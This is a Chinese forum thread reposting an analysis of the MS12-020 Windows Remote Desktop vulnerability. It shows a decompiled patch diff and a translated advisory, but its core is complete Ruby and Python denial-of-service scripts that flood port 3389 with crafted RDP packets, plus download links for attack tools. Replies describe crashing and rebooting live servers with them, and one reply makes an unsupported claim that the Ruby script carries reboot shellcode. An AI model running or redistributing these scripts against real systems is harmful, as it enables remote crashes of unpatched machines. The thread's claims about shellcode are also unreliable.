首页
论坛
课程
招聘
[转帖]关于MS12-020的非专业分析[附真正的ruby利用脚本]
2012-3-16 10:15 15716

[转帖]关于MS12-020的非专业分析[附真正的ruby利用脚本]

2012-3-16 10:15
15716
本文为转载, 来自bbs.blackbap.org, 由MS安全评估工程师所写..
论坛已经有一篇相关帖子了: http://bbs.pediy.com/showthread.php?t=147942
但是其中的附件内容貌似都不完善, 所以我就重新开一个帖, 完整的转载下, 顺便贴出部分Silic群中大家测试的报告等相关内容.
---------------------------

        本文末尾将付上MS12-020真正的PoC,编写语言为ruby和python两个版本的,还有一个exe程序,均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode,而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子,其他的地方还真没流传出来。
        新闻把这个炒作起来,完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。

PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的,因为既然有漏洞的文件知道了,就会有人根据分析有漏洞的文件写出shellcode,不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
        其实之前我这里在14号当天就拿到了一个nasl的测试脚本,nasl版本的PoC真的要执行指定命令并不太容易,多数都拒绝服务了,不过测试中580byte的shellcode是成功率最高的。
也就是说,网上流传的截图也好,视频也好,有sent从一百两百到上万byte的PoC程序截图,这些截图明显就是假的了
OK,步入正文
//blackbap.org
         MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
         其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065。
注:本文并非专业分析
但是转载请注明本文来自:Silic Group Hacker Army[http://blackbap.org]
        首先,第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:
更新前的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
        int v3; // esi@1
        int v4; // eax@3
        int v6; // [sp-8h] [bp-18h]@3
        char v7; // [sp+4h] [bp-Ch]@3
        int v8; // [sp+8h] [bp-8h]@3
        int v9; // [sp+Ch] [bp-4h]@2

        v3 = this;
        *(_DWORD *)a3 = 1;
        if ( *(_BYTE *)(this + 16) & 0x20 )
        {
                while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
                        ;
                v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
                v6 = *(_DWORD *)(v9 + 16);
                if ( v4 )
                {
                        CreateAttachUserCon(14, 0, 0, v6);
                        *(_DWORD *)(v9 + 20) = 9;
                }
                else
                {
                        CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
                        *(_DWORD *)(v9 + 20) = 11;
                        *(_BYTE *)(v8 + 4) = 0;
                }
                if ( SendOutBuf(v3, v9) < 0 )
                        SListRemove(v3 + 112, v8, &v8);
        }
        return 1;
}

更新后的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
        int v3; // esi@1
        int v4; // eax@3
        int v6; // [sp-8h] [bp-18h]@3
        char v7; // [sp+4h] [bp-Ch]@3
        int v8; // [sp+8h] [bp-8h]@3
        int v9; // [sp+Ch] [bp-4h]@2

        v3 = this;
        *(_DWORD *)a3 = 1;
        if ( *(_BYTE *)(this + 16) & 0x20 )
        {
                while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
                        ;
                v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
                v6 = *(_DWORD *)(v9 + 16);
                if ( v4 )
                {
                        CreateAttachUserCon(14, 0, 0, v6);
                        *(_DWORD *)(v9 + 20) = 9;
                }
                else
                {
                        CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
                        *(_DWORD *)(v9 + 20) = 11;
                        *(_BYTE *)(v8 + 4) = 0;
                }
                if ( SendOutBuf(v3, v9) < 0 )
                {
                        SListRemove(v3 + 112, v8, &v8);
                        //注意下面的if语句,这是更新后的代码 blackbap.org
                        if ( p )
                        {
                                if ( !*((_BYE *)P + 5) )
                                ExFreePoolWithTag(P, 0);
                        }
                }
        }
        return 1;
}

是的,代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原:
0002CB30        @HandleAttachUserReq@16
0002CBB8        push ss:[ebp+var_4]
0002CBBB        push esi
0002CBBC        call _SendOutBuf@8
0002CBC1        test eax, eax
0002CBC3        pop ebx
0002CBC4        jge loc_2CBD6

0002CBC6        lea eax, ss:[ebp+var_8]
0002CBC9        push eax
0002CBCA        push ss:[ebp+var_8]
0002CBCD        add esi, 0x70
0002CBD0        push esi
0002CBD1        call _SListRemove@12

0002CBD6        mov b1 a1, b1 1
0002CBD8        pop esi
0002CBD9        leave
0002CBDA        retn b2 8

这是后面加过检查和释放函数的:
0002CB44        @HandleAttachUserReq@16
0002CBCC        push ss:[ebp+var_4]
0002CBCF        push esi
0002CBD0        call _SendOutBuf@8
0002CBD5        test eax, eax

0002CBD7        jge loc_2CBD6

0002CBD9        lea eax, ss:[ebp+var_P]
0002CBDC        push eax
0002CBDD        push ss:[ebp+var_P]
0002CBE0        add esi, 0x70
0002CBE3        push esi
0002CBE4        call _SListRemove@12 //SListRemove(x,x,x)

0002CBE9        mov eax, ss:[ebp+P]
0002CBEC        cmp eax, ebx
0002CBEE        jz loc_2CBFD


0002CBF0        cmp b1 ds:[eax+5],b1 b1
0002CBF3        jnz loc_2CBFD

0002CBF5        push ebx        //Tag
0002CBF6        push ebx        //P
0002CBF7        call ds:[__imp__ExFreePoolWithTag@8]        //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x)
//CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
//HandleAttachUserReq(x,x,x,x)+94j ...
0002CBFD        pop esi

0002CBFE        mov b1 a1, b1 1
0002CC00        pop ebx
0002CC01        leave
0002CC02        retn b2 8

通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??
还有一个函数也是疑似检查用户数据的,疑似是边界的检查
0001978A                 call    _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
0001978F                 test    eax, eax
00019791                 jz      short loc_1973D
00019793                 push    0
00019795                 push    esi
00019796                 push    [ebp+arg_4]
00019799                 push    [ebp+var_4]
0001979C                 push    [ebp+var_8]
0001979F                 push    [ebp+var_C]
000197A2                 push    [ebp+arg_0]
000197A5                 call    _WDWConnect@28  //WDWConnect(x,x,x,x,x,x,x)

上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。
下面就贴出ruby语言的利用脚本:
#!/usr/bin/env ruby
# ms12-020 PoC
# NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题
# Author: Joshua J. Drake(jduck)
# From: BlackBap.Org
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步

require 'socket'

def send_tpkt(sd, data)
  sd.write(make_tpkt(data))
end

def make_tpkt(data)
  [
    3,  # version
    0,  # reserved
    4 + data.length
  ].pack('CCn') + data
end

def make_x224(data)
  [ data.length ].pack('C') + data
end

def make_rdp(type, flags, data)
  [ type, flags, 4 + data.length ].pack('CCv') + data
end


host = ARGV.shift

sd = TCPSocket.new(host, 3389)
pkts1 = []

# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack('V'))
x224_1 = make_x224([
  0xe0,  # Connection request
  0,     # ??
  0,     # SRC-REF
  0      # Class : Class 0
].pack('CnnC') + rdp)

pkts1 << make_tpkt(x224_1)


# craft connect-initial
x224_2 = make_x224([
  0xf0,  # Data / Class 0
  0x80   # EOT: True / NR: 0
].pack('CC'))

# mcsCi
target_params = ""+
  #"\x02\x01\x00"+     # maxChannelIds
  "\x02\x04\x00\x00\x00\x22"+  # maxChannelIds
  "\x02\x04\x00\x00\x00\x0a"+  # maxUserIds
  "\x02\x04\x00\x00\x00\x00"+  # maxTokenIds
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
min_params = ""+
  "\x02\x04\x00\x00\x00\x01"+  # maxChannelIds       
  "\x02\x04\x00\x00\x00\x01"+  # maxUserIds          
  "\x02\x04\x00\x00\x00\x01"+  # maxTokenIds         
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities       
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput       
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight           
  "\x02\x02\x04\x20"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
max_params = ""+
  "\x02\x02\xff\xff"+          # maxChannelIds           
  "\x02\x02\xfc\x17"+          # maxUserIds              
  "\x02\x02\xff\xff"+          # maxTokenIds             
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities           
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput           
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight               
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion

userdata = ""+
  # gccCCrq
  "\x00\x05\x00\x14"+
  "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  # clientCoreData
  "\x01\xc0"+"\xd8\x00"+  # header (type, len)
    "\x04\x00"+"\x08\x00"+ # version
    "\x80\x02"+ # desktop width
    "\xe0\x01"+ # desktop height
    "\x01\xca"+ # color depth
    "\x03\xaa"+ # SASSequence
    "\x09\x04\x00\x00" + # keyboard layout
    "\xce\x0e\x00\x00" + # client build number
    # client name
    "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x04\x00\x00\x00"+ # keyboard type
    "\x00\x00\x00\x00"+ # kbd subType
    "\x0c\x00\x00\x00"+ # kbd FuncKey
    # imeFileName
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x01\xca"+ # postBeta2ColorDepth
    "\x01\x00"+ # clientProductId
    "\x00\x00\x00\x00" + # serialNumber
    "\x10\x00"+ # highColorDepth
    "\x07\x00"+ # supportedColorDepths
    "\x01\x00"+ # earlyCapabilityFlags
    # clientDigProductId -poc has: "00000-000-0000000-00000"
    "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00"+ # connectionType
    "\x00"+ # pad1octet
    "\x00\x00\x00\x00"+ # serverSelectedProtocol
    "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
    "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
    "\x00\x00\x00\x00"+ # reserved
  # clientSecurityData
  "\x02\xc0"+"\x0c\x00"+ # header (type, len)
    "\x1b\x00\x00\x00"+ # encryptionMethods
    "\x00\x00\x00\x00"+ # extEncryptionMethods
  # clientNetworkData
  "\x03\xc0"+"\x2c\x00"+ # header (type, len)
    "\x03\x00\x00\x00"+ # channel count!
    # channel 0
    "rdpdr\x00\x00\x00"+ # name
    "\x00\x00\x80\x80"+  # options
    # channel 1
    "cliprdr\x00"+       # name
    "\x00\x00\xa0\xc0"+  # options
    # channel 2
    "rdpsnd\x00\x00"+    # name
    "\x00\x00\x00\xc0"   # options
  # clientClusterData (not present)
  # clientMonitorData (not present)

mcs_data = ""+
    "\x04\x01\x01"+ # callingDomainSelector
    "\x04\x01\x01"+ # calledDomainSelector
    "\x01\x01\xff"+ # upwardFlag
  #"\x30" + [ target_params.length ].pack('C') + target_params +
  #"\x30" + [ min_params.length ].pack('C') + min_params +
  #"\x30" + [ max_params.length ].pack('C') + max_params +
  "\x30" + [ 0x19 ].pack('C') + target_params +
  "\x30" + [ 0x19 ].pack('C') + min_params +
  "\x30" + [ 0x1c ].pack('C') + max_params +
  # userData
  "\x04\x82" + [ userdata.length ].pack('n') + userdata

#mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n')  # connect-initial (0x65 / 101), length
mcs << mcs_data

pkts1 << make_tpkt(x224_2 + mcs)


# send a special one?
pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")

# send more pkts! - based on poc
10.times {
  pkts1 << make_tpkt(x224_2 + "\x28")
}

pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")

pkts1 << make_tpkt(x224_2 + "\x21\x80")

bigpkt = pkts1.join('')

loop {
  sd.write(bigpkt)

  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")

  # read connect-initial response
  buf = sd.recv(1500)
  # XXX: TODO: check response =)
  #puts buf
}
sd.close
# BlackBap.Org

既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言:
#ms12-020 "chinese shit" PoC v2 (wireshark版)
# 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
# 附件中添加time.sleep修正bug版本的py脚本
# BlackBap.Org

import socket
import sys


buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125

buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
buf+="\x30\x19\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x02\x02\x04" 
buf+="\x00\x00\x00\x00\x02\x04\x00\x00" 
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" 
buf+="\xff\xff\x02\x04\x00\x00\x00\x02" 
buf+="\x30\x19\x02\x04\x00\x00\x00\x01" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x04" 
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" 
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" 
buf+="\x04\x20\x02\x04\x00\x00\x00\x02" 
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" 
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" 
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" 
buf+="\x00\x00\x02\x04\x00\x00\x00\x01" 
buf+="\x02\x02\xff\xff\x02\x04\x00\x00" 
buf+="\x00\x02\x04\x82\x01\x33\x00\x05" 
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" 
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" 
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" 
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" 
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" 
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" 
buf+="\x00\x53\x00\x54\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x04\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x01\xca\x01\x00\x00\x00\x00" 
buf+="\x00\x10\x00\x07\x00\x01\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" 
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" 
buf+="\x00\x03\x00\x00\x00\x72\x64\x70" 
buf+="\x64\x72\x00\x00\x00\x00\x00\x80" 
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" 
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" 
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" 
buf+="\xc0"

buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80"  # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224

HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST,PORT))
        print "sending: %d bytes" % len(buf)
        s.send(buf)
        rec = s.recv(100)
        print "received: %d bytes" % len(rec)
        s.close()
# BlackBap.Org

据测试,上面版本的Chinese Shit仍然有很多bug,附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug
MS12-020利用工具 含bug修正版.rar
附115下载:
http://115.com/file/c2pkeyj2#
MS12-020利用工具-含bug修正版.rar
附件说明:
*
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的Sabu@fbi.gov的娱乐版PoC
*
*
* Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
* BlackBap.Org
*
---------------------------------
以上为完整的转载内容, 2L贴几个热心群友的测试情况截图, (版主原谅我的占楼行为吧...)

[注意] 招人!base上海,课程运营、市场多个坑位等你投递!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (25)
雪    币: 68
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
uing 活跃值 2012-3-16 10:17
2
0
本楼基本都是贴图了, 作者发布的并不是EXP, 只是测试使用的PoC, 所以, 大家懂的...
声明: 作者提供的测试文件仅供安全研究, 虽然不能进行提权等操作, 但还是有一定危害性的, 下面看图吧: (群聊比较杂乱, 就挑选比较有代表性的)
首先是群友Tea的虚拟机测试:

然后是群友BG的一段文字描述(局域网测试):
大致过程如下(ruby):
ruby 020.rb 192.168.2.9

执行后 直接卡死 无反映

查看 192.168.2.9 重启

ruby 端无反映

等 192.168.2.9 重启完 ruby 显示连接断开

192.168.2.9 除开一个错误关机的提示  重启了下

至少能远程关机了(个人认为应该是远程重启了)

然后BG再次使用了一台外网服务器测试:









好了, py的测试坐等...虽然没有实质意义上的EXP, 但是至少能针对未打补丁的机器实现蓝屏重启..
本文仅为安全研究讨论, 提供的工具也仅作为个人安全测试, 切勿用于其他用途.
上传的附件:
雪    币: 198
活跃值: 活跃值 (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zjacai 活跃值 2012-3-16 10:52
3
0
好神奇啊,居然会有这么强的漏洞
雪    币: 68
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
uing 活跃值 2012-3-16 11:18
4
0
关于蓝屏问题, 应该是由termdd.sys引起的, MS12-020的问题产生在rdpwd.sys和termdd.sys两个文件中. (而非之前猜测的MS11-065的RDPWD.SYS文件)

ruby脚本中的shellcode是执行重启指令的, 如果出现蓝屏, 那么说明内存覆盖的位置不对(覆盖到保护区域了神马的...), 如果一执行就重启的, 那么说明是shellcode执行成功了.

附上一个不需要ruby环境的exe:
ms12-020.rar
用法如图:
上传的附件:
雪    币: 562
活跃值: 活跃值 (27)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
promsied 活跃值 4 2012-3-16 16:23
5
0
打了MS11-065照样蓝屏
雪    币: 169
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Dintal 活跃值 2012-3-16 19:29
6
0
毫无疑问,直接是杯具的一个大杀伤力武器,如果得到远程端口就可以执行了对吧?
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
eudemon 活跃值 2012-3-16 22:45
7
0
python版本效果一样,对方直接当机
雪    币: 64
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
fubar 活跃值 2012-3-16 23:02
8
0
所谓的安全评估工程师正是互联网安全的最大隐患,漏洞分析除了补丁比较没有任何有价值的信息,而攻击脚本除了让人蓝屏也没任何研究价值
雪    币: 68
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
uing 活跃值 2012-3-17 01:50
9
0
还是转自: http://bbs.blackbap.org/thread-2424-1-1.html 后续的分析
---------------------
应用:Remote Desktop Services (远程桌面服务)
厂商:http://www.microsoft.com
版本:3月13号及以前任何版本的Windows产品(Windows 9和Windows 2000以前的版本未知)
平台:Windows系列
分类:远程,服务器
日期:2012年3月16号
作者:[mailto:aluigi@autistici.org]Luigi Auriemma[/mail]
博客:http://aluigi.org
翻译:YoCo Smart / Juliet
来自:Silic Group Hacker Army
网站:http://blackbap.org
译注:如果文中有专业术语的翻译错误,还请原谅。
本文仅对termdd.sys做了分析
rdpwd.sys的分析请见:http://bbs.blackbap.org/thread-2419-1-1.html

参考:
http://www.zerodayinitiative.com/advisories/ZDI-12-044/
http://technet.microsoft.com/en-us/security/bulletin/ms12-020

本文按:
=========================
1) 简介
2) 漏洞
3) 代码
4) 补救

==========
1) 简介
==========
这是从微软的主页摘抄的描述:
微软的远程桌面协议(RDP)是Server平台中Windows的基本应用之一,它是基于网络连接进行远程显示和远程输入操作。
RDP的初衷是为了支持不同类型的网络拓扑结构和多种LAN协议。

==========
2) 漏洞
==========
windows的“Terminal Services/Remote Desktop Services”(远程桌面服务)使用RDP协议,并且在内核层使用了3389端口。
服务在处理T.125 ConnectMCSPDU数据包的maxChannelIds部分(用0x2c的PoC代码来替代)的数值小于或等于5时,会产生一个内存使用未释放漏洞。
本地计算机(服务器管理员/攻击者)使用NM_Disconnect[rdpwd.sys文件中]对远程的服务器进行会话连接时,
因为termdd.sys文件中的IcaGetPreviousSdLink函数返回了一个无效的内存指针,
本地计算机可以构造一个恶意的rdp数据包发送到远端目标服务器,
这样将可能使远程终端计算机中的IcaBufferAlloc函数[存在于Win2K3的termdd.sys文件中]或者IcaBufferAllocEx函数[存在于Win7/WinR2的termdd.sys文件中]执行额外的任意命令。
下面的dump是来自尚未安装MS12-020补丁的Win 2K3服务器:
* 译者注:
* 很多人发现http://bbs.blackbap.org/thread-2419-1-1.html这个帖子中的PoC测试蓝屏中发生错误的文件并非文章中描述的rdpwd.sys文件而是termdd.sys
* 因而有很多所谓的系统“底层大牛”对Silic Group发出的测试PoC进行恶言攻击,声称原帖中的PoC与MS12-020漏洞不符等
* 译者通过本文特别阐明:MS12-020的问题产生在rdpwd.sys和termdd.sys两个文件中
* 故原由Silic Group的Juliet放出的PoC虽然有bug但确实是互联网上第一个公开针对MS12-020漏洞的真实PoC
f761887c 8bff            mov     edi,edi
f761887e 55              push    ebp
f761887f 8bec            mov     ebp,esp
f7618881 56              push    esi
f7618882 57              push    edi
f7618883 8b7d08          mov     edi,dword ptr [ebp+8]
f7618886 8d47ec          lea     eax,[edi-14h]
f7618889 50              push    eax
f761888a eb09            jmp     termdd!IcaBufferAlloc+0x19 (f7618895)
f761888c 8b4618          mov     eax,dword ptr [esi+18h]        ;注意这里
f761888f 833800          cmp     dword ptr [eax],0                ;或者这里
f7618892 7527            jne     termdd!IcaBufferAlloc+0x3f (f76188bb)        ;必须执行jump
f7618894 56              push    esi
f7618895 e878290000      call    termdd!IcaGetPreviousSdLink (f761b212)        ;新的ESI由termdd!IcaGetPreviousSdLink这个函数返回
f761889a 8bf0            mov     esi,eax
f761889c 85f6            test    esi,esi
f761889e 75ec            jne     termdd!IcaBufferAlloc+0x10 (f761888c)
f76188a0 ff751c          push    dword ptr [ebp+1Ch]
f76188a3 ff7518          push    dword ptr [ebp+18h]
f76188a6 ff7514          push    dword ptr [ebp+14h]
f76188a9 ff7510          push    dword ptr [ebp+10h]
f76188ac ff750c          push    dword ptr [ebp+0Ch]
f76188af 57              push    edi
f76188b0 e8b9fcffff      call    termdd!IcaBufferAllocInternal (f761856e)
f76188b5 5f              pop     edi
f76188b6 5e              pop     esi
f76188b7 5d              pop     ebp
f76188b8 c21800          ret     18h
f76188bb 33c0            xor     eax,eax
f76188bd 53              push    ebx
f76188be 8d7e10          lea     edi,[esi+10h]
f76188c1 40              inc     eax
f76188c2 f00fc107        lock xadd dword ptr [edi],eax
f76188c6 ff751c          push    dword ptr [ebp+1Ch]
f76188c9 8b4618          mov     eax,dword ptr [esi+18h]        ;这个值和前面的一样
f76188cc ff7518          push    dword ptr [ebp+18h]
f76188cf ff7514          push    dword ptr [ebp+14h]
f76188d2 ff7510          push    dword ptr [ebp+10h]
f76188d5 ff750c          push    dword ptr [ebp+0Ch]
f76188d8 ff761c          push    dword ptr [esi+1Ch]
f76188db ff10            call    dword ptr [eax]                ;这里代码执行
